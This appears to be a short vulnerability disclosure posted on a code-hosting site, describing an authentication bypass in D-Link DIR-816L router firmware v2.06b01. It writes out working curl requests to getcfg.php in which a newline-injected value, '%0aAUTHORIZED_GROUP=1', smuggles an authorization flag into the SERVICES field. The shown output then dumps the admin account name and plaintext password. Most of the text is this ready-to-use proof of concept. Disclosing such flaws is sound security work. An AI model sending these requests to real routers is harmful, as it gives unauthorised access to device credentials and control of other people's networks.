

master ▾

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[IOT](#) / [DIR816](#) / 4.md

shijin0925 all

[History](#)[1 contributor](#)

13 lines (8 sloc) | 475 Bytes

...

AUTHORIZED\_GROUP By Pass

Dir816L firmware version:DIR816L\_FW206b01.bin

Description:

Dir816L firmware version:DIR816L\_FW206b01 has an issue with authentication check. It can be by passed by sending "%0aAUTHORIZED\_GROUP=1"

you may download it from : <https://tsd.dlink.com.tw/ddgo>

Code Support

[Contact Us](#)**Downloads****DIR-816L**

Type	Firmware
Description	Firmware: DIR-816L B1 v2.06 for WW
Download	<a href="#">DIR-816L_FW206_Release Notes.pdf</a> <a href="#">DIR816L_FW206b01.bin</a>
Last modified	2015/06/25

As you can see without "%0aAUTHORIZED\_GROUP=1", we get response "Not authorized", after we append "%0aAUTHORIZED\_GROUP=1" we successfully accessed the webpage.

```
</postxml>
iot@attifyos ~/t/f/_/s/h/web> curl http://192.168.0.1:80/getcfg.php -d "SERVICES=DEVICE.ACCOUNT"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
  <result>FAILED</result>
  <message>Not authorized</message>
</postxml>
iot@attifyos ~/t/f/_/s/h/web> curl http://192.168.0.1:80/getcfg.php -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1"
<?xml version="1.0" encoding="utf-8"?>
<postxml>
<module>
  <service>DEVICE.ACCOUNT</service>
  <device>
    <gw_name>DIR-816L</gw_name>

    <account>
      <seqno>1</seqno>
      <max>2</max>
      <count>1</count>
      <entry>
        <uid>USR-</uid>
        <name>Admin</name>
        <usrid></usrid>
        <password>123456</password>
        <group>0</group>
        <description></description>
      </entry>
    </account>
  </device>
</module>
</postxml>
```